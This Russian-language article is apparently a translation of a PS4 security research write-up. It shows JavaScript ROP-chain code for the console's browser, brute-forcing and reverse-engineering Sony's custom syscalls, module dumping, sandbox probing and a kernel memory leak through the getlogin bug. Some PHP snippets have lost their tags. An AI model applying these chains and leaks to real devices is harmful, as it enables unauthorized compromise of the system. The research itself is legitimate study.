Для большинства эксплойтов ASLR станет проблемой, поскольку если вы не знаете адреса гаджетов в памяти, то и не догадаетесь, что нужно записать в стек.
К счастью для нас, мы не ограничены написанием статичных ROP-цепочек. Мы можем использовать JavaScript для чтения таблицы модулей, что поможет нам получить базовые адреса загруженных модулей. Используя эти адреса, мы сможем посчитать адреса всех наших гаджетов до выполнения цепочки ROP, обойдя ASLR.
Таблица модулей также включает имена файлов модулей:
* WebProcess.self
* libkernel.sprx
* libSceLibcInternal.sprx
* libSceSysmodule.sprx
* libSceNet.sprx
* libSceNetCtl.sprx
* libSceIpmi.sprx
* libSceMbus.sprx
* libSceRegMgr.sprx
* libSceRtc.sprx
* libScePad.sprx
* libSceVideoOut.sprx
* libScePigletv2VSH.sprx
* libSceOrbisCompat.sprx
* libSceWebKit2.sprx
* libSceSysCore.sprx
* libSceSsl.sprx
* libSceVideoCoreServerInterface.sprx
* libSceSystemService.sprx
* libSceCompositeExt.sprx
Несмотря на то, что PS4 по большей части использует формат [Signed] PPU Relocatable Executable ([S]PRX) для модулей, в дампе libSceSysmodule.sprx замечены строки, ссылающиеся на объектные файлы [Signed] Executable and Linking Format ([S]ELF) — bdj.elf, web\_core.elf и orbis-jsc-compiler.self.
Данная комбинация модулей и объектов напоминает ту, что использовалась в PSP и PS3.
Полный [список всех доступных модулей](http://www.psdevwiki.com/ps4/Libraries) (а не только тех, что загружены браузером) можно в `libSceSysmodule.sprx`. Мы можем загрузить и сдампить некоторые из них благодаря нескольким специальным системным вызовам за авторством Sony, о чем и пойдет речь дальше.
JuSt-ROP
--------
Использование JavaScript для написания и выполнения динамических ROP-цепочек дает нам огромное преимущество над обычной атакой переполнения буфера.
Кроме обхода ASLR, мы можем прочитать user agent браузера, и подставлять другую ROP-цепочку для другой версии браузера, давая нашему эксплойту высшую степень возможной совместимости.
Мы можем использовать JavaScript даже для чтения памяти по нашим адресам гаджетов для того, чтобы убедиться в их корректности, что дает нам практически идеальную надежность.
Динамическое написание ROP-цепочек приобретает смысл по сравнению с их предварительной генерацией скриптом.
По этим причинам я и создал собственный фрейморк на JavaScript для написания ROP-цепочек, [JuSt-ROP](https://github.com/CTurt/JuSt-ROP).
Подводные камни JavaScript
--------------------------
JavaScript использует представление чисел в формате двойной точности (64 бита) [IEEE-754](https://en.wikipedia.org/wiki/IEEE_floating_point). Это дает нам 53 бита точности (мантисса VT\_R8 имеет только 53 бита), что означает невозможность отобразить каждое 64-битное значение — для некоторых из них придется применить аппроксимацию.
Если вам просто нужно установить 64-битное число в какое-нибудь небольшое значение, вроде `256`, то `setU64to` справится с задачей. Но для случаев, когда вам нужно записать буфер или структуру данных, есть вероятность что отдельные байты будут записаны некорректно, если они были записаны в блоках по 64 бита. Вместо этого, вы должны писать данные блоками по 32 бита (помня о том, что PS4 использует порядок little-endian), чтобы убедиться в том, что каждый байт идентичен.
Системные вызовы
----------------
Интересно, что PS4 использует тот же формат вызовов, что и Linux и MS-DOS для системных вызовов, с аргументами хранимыми в регистрах, а не традиционным UNIX-способом (который FreeBSD использует по умолчанию), когда аргументы хранятся в стеке:
| Регистр | Значение |
| --- | --- |
| rax | Номер системного вызова |
| rdi | Аргумент 1 |
| rsi | Аргумент 2 |
| rdx | Аргумент 3 |
| r10 | Аргумент 4 |
| r8 | Аргумент 5 |
| r9 | Аргумент 6 |
Мы можем попробовать выполнить любой системный вызов с помощью метода JuSt-ROP:
```
this.syscall = function(name, systemCallNumber, arg1, arg2, arg3, arg4, arg5, arg6) {
console.log("syscall " + name);
this.add("pop rax", systemCallNumber);
if(typeof(arg1) !== "undefined") this.add("pop rdi", arg1);
if(typeof(arg2) !== "undefined") this.add("pop rsi", arg2);
if(typeof(arg3) !== "undefined") this.add("pop rdx", arg3);
if(typeof(arg4) !== "undefined") this.add("pop rcx", arg4);
if(typeof(arg5) !== "undefined") this.add("pop r8", arg5);
if(typeof(arg6) !== "undefined") this.add("pop r9", arg6);
this.add("pop rbp", stackBase + returnAddress - (chainLength + 8) + 0x1480);
this.add("mov r10, rcx; syscall");
}
```
Использование системных вызовов может многое нам поведать о ядре PS4. Более того, использование системных вызовов — единственный способ, которым мы можем взаимодействовать с ядром, и потенциально может выполнить эксплойт ядра.
Если провести реверс-инжениринг модулей для идентификации некоторых из специальных системных вызовов Sony, то можно обнаружить альтернативный формат вызовов:
| Регистр | Значение |
| --- | --- |
| rax | 0 |
| rdi | Номер системного вызова |
| rsi | Аргумент 1 |
| rdx | Аргумент 2 |
| r10 | Аргумент 3 |
| r8 | Аргумент 4 |
| r9 | Аргумент 5 |
По всей видимости, Sony поступила так для простой совместимости с соглашением о вызове функций, например:
```
unsigned long syscall(unsigned long n, ...) {
register unsigned long rax asm("rax");
asm("mov r10, rcx");
rax = 0;
asm("syscall");
return rax;
}
```
Используя такой подход, они могут выполнять любой системный вызов из С.
При написании цепочек ROP, мы можем использовать следующее соглашение:
```
// Обе команды возвращают ID текущего процесса:
chain.syscall("getpid", 20);
chain.syscall("getpid", 0, 20);
```
Об этом полезно помнить на случай возможности выбора самого удобного из доступных гаджетов.
getpid
------
Один-единственный системный вызов под номером `20`, `getpid(void)`, уже способен многое рассказать нам о ядре.
Сам тот факт, что этот системный вызов работает, говорит нам о том, что Sony даже не удосужилась перемешать номера системных вызовов, как того требует техника "[безопасность через неясность](https://ru.wikipedia.org/wiki/Безопасность_через_неясность)" (а под лицензией BSD они могли сделать это без публикации в Интернете новых номеров системных вызовов).
Таким образом, мы автоматически заполучили в свои руки [список системных вызовов](http://fxr.watson.org/fxr/source/kern/syscalls.master?v=FREEBSD9), которые можно попробовать сделать в ядре PS4.
Во-вторых, вызвав `getpid()`, перезапустив браузер, а затем вызвав его снова, мы получим значение возврата на 1 большее, чем предыдущее. Хоть FreeBSD и поддерживают [рандомизацию PID](http://security.stackexchange.com/questions/88692/do-randomized-pid-bring-more-security) со времен версии 4.0, последовательное выделение PID — это поведение по умолчанию. По всей видимости, Sony и здесь не удосужилась усилить защиту вроде того, как это сделали в проектах по типу [HardenedBSD](https://hardenedbsd.org/).
Сколько системных вызовов здесь есть?
-------------------------------------
Последним системным вызовом во FreeBSD 9 является `wait6` за номером `523`; всё, что имеет номер выше — специальные системные вызовы Sony.
Попытка вызвать любой из специльных системных вызовов Sony без корректных аргументов вернет ошибку `0x16`, `"Invalid argument"`; однако, любые совместимые системные вызовы, или же нереализованные системные вызовы приведут к ошибке `"There is not enough free system memory"`.
Путем проб и ошибок, я выяснил, что системный вызов под номером `617` — это последний вызов Sony, все вызовы дальше не реализованы.
Исходя из этого, мы можем сделать логичное заключение, что в ядре PS4 есть 85 специальных системных вызовов (617 — 532) за авторством Sony.
Это значительно меньше, чем было в PS3, в которой было почти 1000 системных вызовов в целом. Что ж, пусть это и указывает меньший простор для потенциальных векторов атак, но зато нам будет проще задокументировать все вызовы.
Едем дальше. 9 из этих 85 системных вызовов всегда возвращают 0x4e, ENOSYS, что означает простую вещь — эти вызовы работают только на тестовых устройствах для разработчиков, оставляя нас всего с 76 полезными вызовами.
Из этих 76, libkernel.sprx ссылается только на 45 (все приложения, не являющиеся частью ядра, для выполнения системных вызовов используют этот модуль). Итого, у разработчика остается всего 45 доступных специальных системных вызовов.
Интересно, что хотя для использования предназначались только 45 вызовов (поскольку в libkernel.sprx есть обертки для них), некоторые из оставшихся 31 все равно доступны из процесса браузера. Вполне возможно, что в этих ненамеренно оставленных вызовах вероятность найти уязвимость гораздо выше, поскольку на их тестирование времени явно ушло меньше всего.
libkernel.sprx
--------------
Для того, чтобы разобраться, как специальные системные вызовы используются ядром, главное — обязательно запомнить, что это всего лишь модификация стандартных библиотек FreeBSD 9.0.
Вот выдержка кода `_libpthread_init` из файла [`thr_init.c`](https://github.com/freebsd/freebsd/blob/release/9.0.0/lib/libthr/thread/thr_init.c#L297):
```
/*
* Check for the special case of this process running as
* or in place of init as pid = 1:
*/
if ((_thr_pid = getpid()) == 1) {
/*
* Setup a new session for this process which is
* assumed to be running as root.
*/
if (setsid() == -1)
PANIC("Can't set session ID");
if (revoke(_PATH_CONSOLE) != 0)
PANIC("Can't revoke console");
if ((fd = __sys_open(_PATH_CONSOLE, O_RDWR)) < 0)
PANIC("Can't open console");
if (setlogin("root") == -1)
PANIC("Can't set login to root");
if (_ioctl(fd, TIOCSCTTY, (char *) NULL) == -1)
PANIC("Can't set controlling terminal");
}
```
Эта же функция может быть найдена на оффсете `0x215F0` из `libkernel.sprx`. Вот как приведенный выше код выглядит в дампе libkernel:
```
call getpid
mov cs:dword_5B638, eax
cmp eax, 1
jnz short loc_2169F
call setsid
cmp eax, 0FFFFFFFFh
jz loc_21A0C
lea rdi, aDevConsole ; "/dev/console"
call revoke
test eax, eax
jnz loc_21A24
lea rdi, aDevConsole ; "/dev/console"
mov esi, 2
xor al, al
call open
mov r14d, eax
test r14d, r14d
js loc_21A3C
lea rdi, aRoot ; "root"
call setlogin
cmp eax, 0FFFFFFFFh
jz loc_21A54
mov edi, r14d
mov esi, 20007461h
xor edx, edx
xor al, al
call ioctl
cmp eax, 0FFFFFFFFh
jz loc_21A6C
```
Реверсинг дампов модулей для анализа системных вызовов
------------------------------------------------------
libkernel открыт не полностью: в его состав входит большое количество собственного кода Sony, который мог бы раскрыть их системные вызовы.
Хотя процесс анализа будет отличаться в зависимости от выбранного системного вызова, для некоторых из них довольно просто выяснить состав аргументов, которые передаются в вызов.
Обертка системного вызова будет объявлена где-нибудь в libkernel.sprx и почти всегда будет следовать следующему шаблону:
```
000000000000DB70 syscall_601 proc near
000000000000DB70 mov rax, 259h
000000000000DB77 mov r10, rcx
000000000000DB7A syscall
000000000000DB7C jb short error
000000000000DB7E retn
000000000000DB7F
000000000000DB7F error:
000000000000DB7F lea rcx, sub_DF60
000000000000DB86 jmp rcx
000000000000DB86 syscall_601 endp
```
Заметим, что инструкция `mov r10, rcx` не обязательно означает то, что системный вызов принимает как минимум 4 аргумента; эта инструкция есть у всех оберток системных вызовов, и даже у тех, что не принимают никаких аргументов — например, `getpid`.
Как только вы нашли обертку, можете посмотреть xrefs к ней:
```
0000000000011D50 mov edi, 10h
0000000000011D55 xor esi, esi
0000000000011D57 mov edx, 1
0000000000011D5C call syscall_601
0000000000011D61 test eax, eax
0000000000011D63 jz short loc_11D6A
```
Неплохой мыслью будет поискать еще несколько штук, просто чтобы убедиться, что регистры не были изменены для чего-нибудь несвязанного:
```
0000000000011A28 mov edi, 9
0000000000011A2D xor esi, esi
0000000000011A2F xor edx, edx
0000000000011A31 call syscall_601
0000000000011A36 test eax, eax
0000000000011A38 jz short loc_11A3F
```
Мы видим, как с завидным постоянством первых три регистра из соглашения о системных вызовов (rdi, rsi, и rdx), так что мы вполне уверенно можем заявить, что вызов принимает три аргумента.
Для понимания, вот как мы воспроизведем эти вызовы с помощью JuSt-ROP:
```
chain.syscall("unknown", 601, 0x10, 0, 1);
chain.syscall("unknown", 601, 9, 0, 0);
```
Как и большинство системных вызовов, эти вызовы вернут 0 в случае успеха, что видно по коду выше, где `jz` выполняет переход после `test`а возвращаемого значения.
Выяснение чего-то более сложного, чем количество аргументов, потребует гораздо более глубокого анализа кода до и после вызова для понимания контекста, но рассказанного должно хватить вам для старта.
Брутфорс системных вызовов
--------------------------
Несмотря на то, что реверс-инжениринг дампов модулей — самый надежный способ идентифицировать системные вызовы, некоторые из них не упоминаются в дампах, поэтому мы вынуждены анализировать их «вслепую».
Если мы предположим, что определенный системный вызов может принимать определенный набор аргументов, то мы можем произвести брутфорс всех системных вызовов, которые возвратят определенное значение (0 для успеха) с выбранными аргументами, и игнорировать все вернувшие ошибку.
Мы также можем передавать нули для всех аргументов, и брутфорсить все системные вызовы, которые возвращают полезные ошибки вроде `0xe`, `"Bad address"`, которые указывают на то, что вызовы принимают как минимум один указатель.
Во-первых, нам нужно выполнить ROP-цепочку как только страница загрузится. Мы можем сделать это при помощи навешивания нашей функции на `onload` элемента `body`:
Следом нам нужно выполнить специальный системный вызов в зависимости от значения из HTTP GET. Хоть это и может быть сделано при помощи JavaScript, для простоты я использую PHP:
```
var Sony = 533;
chain.syscall("Sony system call", Sony + php print($_GET["b"]); ?, 0, 0, 0, 0, 0, 0);
chain.write_rax_ToVariable(0);
```
Как только системный вызов выполнится, мы можем проверить значение возврата, и если он не даст нам ничего интересного, сделать редирект на следующий системный вызов:
```
if(chain.getVariable(0) == 0x16) window.location.assign("index.php?b=" + (php print($_GET["b"]); ? + 1).toString());
```
Запуск страницы с ?b=0 в конце запустит брутфорс с первого системного вызова Sony.
Хотя этот метод требует немалого количества экспериментов, можно уверенно сказать, что он позволит найти несколько системных вызовов, которых вам удастся частично идентифицировать.
Системный вызов 538
-------------------
В качестве примера, давайте рассмотрим системный вызов 538, не полагаясь на дампы каких-либо модулей.
Вот значения возврата в зависимости от того, что передается в качестве первого аргумента:
* 0 — 0x16, «Invalid argument»
* 1 — 0xe, «Bad address»
* Указатель на 0 — первоначально 0x64, но с каждым обновлением страницы значение увеличивается на 1.
Другими потенциальными аргументами, которые можно попытаться подставить, будут PID, ID потока и файловый дескриптор.
Несмотря на то, что большинство системных вызовов возвращают 0 при успешном выполнении, часть вызовов возвращает увеличивающееся при каждом новом вызове значение — видимо, эти вызовы аллоцируют какой-либо ресурс, вроде файлового дескриптора.
Следующим шагом будет наблюдение за данными до и после выполнения системного вызова для того, чтобы понять, было ли что-нибудь записано в них.
Поскольку изменений в данных не наблюдается, можем с чистой совестью считать, что это ввод.
Затем попытаемся скормить методу длинную строку в качестве первого аргумента. Вы должны пробовать это с каждым вводом, который вам удастся обнаружить, поскольку существует вероятность обнаружения переполнения буфера.
```
writeString(chain.data, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
chain.syscall("unknown", 538, chain.data, 0, 0, 0, 0, 0);
```
Мы получим в качестве значения возврата `0x3f`, `ENAMETOOLONG`. Увы, но мы видим, что системный вызов корректно ограничивает имя (32 байта включая ограничитель `NULL`), однако теперь мы знаем, что метод ожидает строку, а не структуру.
Что ж, теперь у нас есть несколько идей относительно того, что может делать этот вызов. Самый очевидный вариант — какое-либо действие, связанное с файловой системой (например, специальная версии `mkdir` или `open`), однако эта версия вряд ли нам подойдет — ведь ресурс аллоцируется еще до того, как мы записали любые данные в указатель.
Попробуем проверить, является ли первый параметр путём. Разобьем его несколькими символами `/` и посмотрим, позволит ли это передать в метод длинную строку:
```
writeString(chain.data, "aaaaaaaaaa/aaaaaaaaaa/aaaaaaaaaa");
chain.syscall("unknown", 538, chain.data, 0, 0, 0, 0, 0);
```
Поскольку этот вызов также вернет 0x3f, мы можем предположить, что первый аргумент — это не путь; это имя для чего-то, что будет размещено в памяти и получит последовательный идентификатор (*sequential identifier*).
После анализа других системных вызовов, мне удалось обнаружить, что все перечисленные ниже обладают одинаковым поведением:
* 533
* 538
* 557
* 574
* 580
При помощи полученной информации практически невозможно догадаться, что именно делают эти системные вызовы, но если вы проведете другие тесты, то понемногу раскроете тайну. Сэкономлю вам немного времени — системный вызов 538 выделяет память под [флаг события](https://en.wikipedia.org/wiki/Event_flag) (и принимает в качестве параметра не только имя).
При помощи базовых знаний о том, как работает ядро, вы можете предположить, а затем проверить, под что выделяется память системными вызовами — семафоры, мьютексты и так далее.
Дамп дополнительных модулей
---------------------------
Мы можем дампить дополнительные модули следующим образом:
* Загружаем модуль
* Получаем базовый адрес модуля
* Дампим модуль.
Я взял на себя утомительный труд загрузки и дампа каждого возможного модуля из браузера руками и опубликовал результаты на [psdevwiki](http://www.psdevwiki.com/ps4/Libraries#Libraries_on_firmware_1.76). Все модули с маркером «Yes» могут быть сдампены этим методом.
Для загрузки модуля нам потребуется использовать функцию `sceSysmoduleLoadModule` из `libSceSysmodule.sprx + 0x1850`. Первым параметром идет идентификатор загружаемого модуля, в остальных трех просто передается 0.
Приведенный ниже метод JuSt-ROP пригодится для выполнения этого вызова:
```
this.call = function(name, module, address, arg1, arg2, arg3, arg4, arg5, arg6) {
console.log("call " + name);
if(typeof(arg1) !== "undefined") this.add("pop rdi", arg1);
if(typeof(arg2) !== "undefined") this.add("pop rsi", arg2);
if(typeof(arg3) !== "undefined") this.add("pop rdx", arg3);
if(typeof(arg4) !== "undefined") this.add("pop rcx", arg4);
if(typeof(arg5) !== "undefined") this.add("pop r8", arg5);
if(typeof(arg6) !== "undefined") this.add("pop r9", arg6);
this.add("pop rbp", stack_base + return_va - (chainLength + 8) + 0x1480);
this.add(module_bases[module] + address);
}
```
Итак, для загрузки `libSceAvSetting.sprx (0xb)` используем:
```
chain.call("sceSysmoduleLoadModule", libSysmodule, 0x1850, 0xb, 0, 0, 0);
```
Как и большинство системных вызовов, этот должен вернуть 0 при успехе. Чтобы увидеть идентификатор аллоцированного в памяти модуля, мы можем использовать один из системных вызовов Sony под номером 592 для получения списка загруженных модулей:
```
var countAddress = chain.data;
var modulesAddress = chain.data + 8;
// Системный вызов 592, getLoadedModules(int *destinationModuleIDs, int max, int *count);
chain.syscall("getLoadedModules", 592, modulesAddress, 256, countAddress);
chain.execute(function() {
var count = getU64from(countAddress);
for(var index = 0; index < count; index++) {
logAdd("Module: 0x" + getU32from(modulesAddress + index * 4).toString(16));
}
});
```
Выполнение этого кода без загрузки других дополнительных модулей отобразит следующий список:
```
0x0, 0x1, 0x2, 0xc, 0xe, 0xf, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1e, 0x37, 0x59
```
Однако, если мы запустим её после загрузки модуля 0xb, то увидим дополнительный элемент, 0x65. Запомните — идентификатор модуля это не то же самое, что и идентификатор *загруженного* модуля.
Теперь мы можем использовать другой системный вызов Sony под номером 593, который принимает идентификатор загруженного модуля и буфер, и заполняет буфер информацией о загруженном модуле, включая его базовый адрес. Поскольку идентификатор загруженного модуля всегда 0x65, мы можем «захардкодить» его в нашу цепочку, вместо того чтобы хранить результат из списка модулей.
Буфер должен начинаться с размера структуры, которая должна быть возвращена, в противном случае вернется ошибка `0x16`, `"Invalid argument"`:
```
setU64to(moduleInfoAddress, 0x160);
chain.syscall("getModuleInfo", 593, 0x65, moduleInfoAddress);
chain.execute(function() {
logAdd(hexDump(moduleInfoAddress, 0x160));
});
```
В случае успеха вернется 0, а буфер будет заполнен структурой, которую можно прочитать так:
```
var name = readString(moduleInfoAddress + 0x8);
var codeBase = getU64from(moduleInfoAddress + 0x108);
var codeSize = getU32from(moduleInfoAddress + 0x110);
var dataBase = getU64from(moduleInfoAddress + 0x118);
var dataSize = getU32from(moduleInfoAddress + 0x120);
```
Теперь у нас есть все необходимое для дампа модуля!
```
dump(codeBase, codeSize + dataSize);
```
Существует другой системный вызов Sony, под номером 608, который работает схожим с 593 образом, но предоставляет немного другую информацию о загруженном модуле:
```
setU64to(moduleInfoAddress, 0x1a8);
chain.syscall("getDifferentModuleInfo", 608, 0x65, 0, moduleInfoAddress);
logAdd(hexDump(moduleInfoAddress, 0x1a8));
```
Неизвестно, что может означать эта информация.
Исследуем файловую систему
--------------------------
Для чтения файлов и директорий PS4 использует стандартные системные вызовы FreeBSD 9.0.
Однако, несмотря на то что чтение отдельных директорий вроде `/dev/` сработает, чтение других — например, `/` — нет.
Не знаю, почему так происходит, но если использовать `gendents` вместо `read` для директорий, то работать всё будет более надежно:
```
writeString(chain.data, "/dev/");
chain.syscall("open", 5, chain.data, 0, 0);
chain.write_rax_ToVariable(0);
chain.read_rdi_FromVariable(0);
chain.syscall("getdents", 272, undefined, chain.data + 0x10, 1028);
```
Вот результирующая память:
```
0000010: 0700 0000 1000 0205 6469 7073 7700 0000 ........dipsw...
0000020: 0800 0000 1000 0204 6e75 6c6c 0000 0000 ........null....
0000030: 0900 0000 1000 0204 7a65 726f 0000 0000 ........zero....
0000040: 0301 0000 0c00 0402 6664 0000 0b00 0000 ........fd......
0000050: 1000 0a05 7374 6469 6e00 0000 0d00 0000 ....stdin.......
0000060: 1000 0a06 7374 646f 7574 0000 0f00 0000 ....stdout......
0000070: 1000 0a06 7374 6465 7272 0000 1000 0000 ....stderr......
0000080: 1000 0205 646d 656d 3000 0000 1100 0000 ....dmem0.......
0000090: 1000 0205 646d 656d 3100 0000 1300 0000 ....dmem1.......
00000a0: 1000 0206 7261 6e64 6f6d 0000 1400 0000 ....random......
00000b0: 1000 0a07 7572 616e 646f 6d00 1600 0000 ....urandom.....
00000c0: 1400 020b 6465 6369 5f73 7464 6f75 7400 ....deci_stdout.
00000d0: 1700 0000 1400 020b 6465 6369 5f73 7464 ........deci_std
00000e0: 6572 7200 1800 0000 1400 0209 6465 6369 err.........deci
00000f0: 5f74 7479 3200 0000 1900 0000 1400 0209 _tty2...........
0000100: 6465 6369 5f74 7479 3300 0000 1a00 0000 deci_tty3.......
0000110: 1400 0209 6465 6369 5f74 7479 3400 0000 ....deci_tty4...
0000120: 1b00 0000 1400 0209 6465 6369 5f74 7479 ........deci_tty
0000130: 3500 0000 1c00 0000 1400 0209 6465 6369 5...........deci
0000140: 5f74 7479 3600 0000 1d00 0000 1400 0209 _tty6...........
0000150: 6465 6369 5f74 7479 3700 0000 1e00 0000 deci_tty7.......
0000160: 1400 020a 6465 6369 5f74 7479 6130 0000 ....deci_ttya0..
0000170: 1f00 0000 1400 020a 6465 6369 5f74 7479 ........deci_tty
0000180: 6230 0000 2000 0000 1400 020a 6465 6369 b0.. .......deci
0000190: 5f74 7479 6330 0000 2200 0000 1400 020a _ttyc0..".......
00001a0: 6465 6369 5f73 7464 696e 0000 2300 0000 deci_stdin..#...
00001b0: 0c00 0203 6270 6600 2400 0000 1000 0a04 ....bpf.$.......
00001c0: 6270 6630 0000 0000 2900 0000 0c00 0203 bpf0....).......
00001d0: 6869 6400 2c00 0000 1400 0208 7363 655f hid.,.......sce_
00001e0: 7a6c 6962 0000 0000 2e00 0000 1000 0204 zlib............
00001f0: 6374 7479 0000 0000 3400 0000 0c00 0202 ctty....4.......
0000200: 6763 0000 3900 0000 0c00 0203 6463 6500 gc..9.......dce.
0000210: 3a00 0000 1000 0205 6462 6767 6300 0000 :.......dbggc...
0000220: 3e00 0000 0c00 0203 616a 6d00 4100 0000 >.......ajm.A...
0000230: 0c00 0203 7576 6400 4200 0000 0c00 0203 ....uvd.B.......
0000240: 7663 6500 4500 0000 1800 020d 6e6f 7469 vce.E.......noti
0000250: 6669 6361 7469 6f6e 3000 0000 4600 0000 fication0...F...
0000260: 1800 020d 6e6f 7469 6669 6361 7469 6f6e ....notification
0000270: 3100 0000 5000 0000 1000 0206 7573 6263 1...P.......usbc
0000280: 746c 0000 5600 0000 1000 0206 6361 6d65 tl..V.......came
0000290: 7261 0000 8500 0000 0c00 0203 726e 6700 ra..........rng.
00002a0: 0701 0000 0c00 0403 7573 6200 c900 0000 ........usb.....
00002b0: 1000 0a07 7567 656e 302e 3400 0000 0000 ....ugen0.4.....
00002c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
```
Некоторые из этих устройств можно читать, например чтение `/dev/urandom` заполнит память случайными данными.
Также можно пропарсить эту память и получить список сущностей; взгляните на `browser.html` из репозитория, который выполняет роль файлового менеджера:
Увы, из-за песочницы мы не имеем полного доступа к файловой системе. Попытка считать файлы или директории, которые [существуют](http://www.psdevwiki.com/ps4/Talk:Files_on_the_PS4), но доступ к ним ограничен, вернет вам ошибку 2, `ENOENT`, `"No such file or directory"`. Правда, мы все равно можем получить доступ к разным интересностям — зашифрованным файлам сохранений, трофеям и информации об аккаунте — подробнее о них я расскажу в своих следующих статьях.
Песочница
---------
Проблема с работой системных вызовов не ограничивается отдельными путями — есть и другие причины, по которым их не удается выполнить.
Чаще всего, запрещенный системный вызов просто вернет ошибку 1, `EPERM`, `"Operation not permitted"`; это утверждение справедливо для вызовов вроде `ptrace`, поскольку другие системные вызовы не будут работать по самым различным причинам.
Совместимые системные вызовы отключены. К примеру, если вы хотите вызвать `mmap`, то должны использовать [системный вызов номер 477](http://fxr.watson.org/fxr/source/kern/syscalls.master?v=FREEBSD9#L851), а не [71](http://fxr.watson.org/fxr/source/kern/syscalls.master?v=FREEBSD9#L172) или [197](http://fxr.watson.org/fxr/source/kern/syscalls.master?v=FREEBSD9#L379); в противном случае, вы получите сегфолт.
Другие системные вызовы, вроде `exit`, также вызовут ошибку сегментации (*segmentation fault*):
```
chain.syscall("exit", 1, 0);
```
Попытка создать SCTP-сокет вернет ошибку `0x2b`, `EPROTONOSUPPORT`, указывающую на то, что SCTP-сокеты были выключены в ядре PS4:
```
//int socket(int domain, int type, int protocol);
//socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
chain.syscall("socket", 97, 2, 1, 132);
```
И, хотя вызов `mmap` с `PROT_READ | PROT_WRITE | PROT_EXEC` вернет валидный указатель, флаг `PROT_EXEC` будет проигнорирован. Чтение его защиты вернет 3 (RW), и любая попытка выполнить память приведет к сегфолту:
```
chain.syscall("mmap", 477, 0, 4096, 1 | 2 | 4, 4096, -1, 0);
chain.write_rax_ToVariable(0);
chain.read_rdi_FromVariable(0);
chain.add("pop rax", 0xfeeb);
chain.add("mov [rdi], rax");
chain.add("mov rax, rdi");
chain.add("jmp rax");
```
Список [open source ПО, используемого в PS4](http://www.scei.co.jp/ps4-license/), не содержит в себе специализированного ПО для песочниц вроде [Capsicum](https://www.freebsd.org/cgi/man.cgi?query=capsicum), так что PS4 либо использует «чистые» [jails из FreeBSD](https://www.freebsd.org/doc/handbook/jails.html), или же полагается на собственную проприетарную систему изолирования окружений (что вряд ли).
Jail
----
Мы можем доказать существование активного использования jail-ов из FreeBSD в ядре PS4 с помощью системного вызова auditon, который невозможно выполнить в изолированном jailed-окружении:
```
chain.syscall("auditon", 446, 0, 0, 0);
```
Первое, что делает системный вызов `audition` — это проверка `jailed` [здесь](https://github.com/freebsd/freebsd/blob/release/9.0.0/sys/security/audit/audit_syscalls.c#L164), и если это так, возвращает ENOSYS:
```
if (jailed(td->td_ucred))
return (ENOSYS);
```
В противном случае случае, системный вызов скорее всего вернет `EPERM` из `mac_system_check_auditon` [здесь](https://github.com/freebsd/freebsd/blob/release/9.0.0/sys/security/audit/audit_syscalls.c#L169):
```
error = mac_system_check_auditon(td->td_ucred, uap->cmd);
if (error)
return (error);
```
Или из `priv_check` [здесь](https://github.com/freebsd/freebsd/blob/release/9.0.0/sys/security/audit/audit_syscalls.c#L174):
```
error = priv_check(td, PRIV_AUDIT_CONTROL);
if (error)
return (error);
```
Самое дальнее, куда может дойти системный вызов, будет сразу после `priv_check`, [здесь](https://github.com/freebsd/freebsd/blob/release/9.0.0/sys/security/audit/audit_syscalls.c#L178), до возврата `EINVAL` из-за длины аргумента, равной 0:
```
if ((uap->length <= 0) || (uap->length > sizeof(union auditon_udata)))
return (EINVAL);
```
Поскольку `mac_system_check_auditon` и `priv_check` никогда не возвращают `ENOSYS`, попадание на проверку `jailed` — единственный вариант, когда возвращается `ENOSYS`.
При выполнении цепочки, *возвращается* `ENOSYS` (`0x48`).
Это говорит нам о том, что система песочницы, используемая PS4, как минимум основана на jail-ах, поскольку использует проверки `jailed`.
Эксплойты ядра FreeBSD 9.0
--------------------------
Нет особого смысла в поиске новых уязвимостей в [исходниках ядра FreeBSD 9.0](https://github.com/freebsd/freebsd/tree/release/9.0.0/sys/kern), поскольку с момента релиза в 2012 было [найдено несколько эксплойтов ядра](https://www.exploit-db.com/platform/?p=freebsd), к которым PS4 может быть потенциально уязвима.
Некоторые из них мы можем отбросить сходу:
[FreeBSD 9.0-9.1 mmap/ptrace — Privilege Escalation Exploit](https://www.exploit-db.com/exploits/26368/) — не сработает, потому что у нас нет доступа к системному вызову `ptrace`.
[FreeBSD 9.0 — Intel SYSRET Kernel Privilege Escalation Exploit](https://www.exploit-db.com/exploits/28718/) — не сработает, поскольку в PS4 используется процессор AMD.
[FreeBSD Kernel — Multiple Vulnerabilities](https://www.exploit-db.com/exploits/35938/) — возможно, первая уязвимость из этого комплекта и сработает, но две другие полагаются на сокеты SCTP, которые в ядре PS4 отключены, как уже говорилось ранее.
К счастью, есть [несколько уязвимостей поменьше](http://www.cvedetails.com/vulnerability-list/vendor_id-6/product_id-7/version_id-118765/Freebsd-Freebsd-9.0.html), которые могут привести нас к чему-нибудь интересному.
getlogin
--------
Одна из уязвимостей, которую несложно попробовать — [использование системного вызова getlogin для утечки небольшого количества памяти ядра](http://www.cvedetails.com/cve/CVE-2014-8476/).
Системный вызов [getlogin](https://www.freebsd.org/cgi/man.cgi?query=getlogin&sektion=2) предназначен для копирования имени пользователя текущей сессии в пользовательскую память, однако, из-за бага, всегда копируется буфер полностью, а не только размер строки с именем. Это означает, что мы можем прочитать некоторые неинициализированные данные из ядра, что может нам пригодиться.
Заметим, что системный вызов (49) на самом деле `int getlogin_r(char *name, int len);`, а не `char *getlogin(void);`.
Итак, давайте попробуем скопировать немного памяти ядра в неиспользуемую часть пользовательской памяти:
```
chain.syscall("getlogin", 49, chain.data, 17);
```
Увы, больше 17 байт нам никак не вытащить, поскольку:
> Длина имени пользователя ограничена MAXLOGNAME (из ) символов, в данный момент это 17 символов, включая пустые.
*[— FreeBSD Man Pages](https://www.freebsd.org/cgi/man.cgi?query=getlogin&sektion=2)*
После выполнения цепочки, значение возврата равно 0, из чего следует, что системный вызов отработал! Отличное начало. Теперь взглянем на память, на которую мы указывали:
До выполнения цепочки:
```
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00
```
После выполнения цепочки:
```
72 6f 6f 74 00 fe ff ff 08 62 61 82 ff ff ff ff
00
```
После декодирования первых четырех байт в ASCII:
```
root
```
Оказывается, браузер выполняется от рута! Вот это неожиданность.
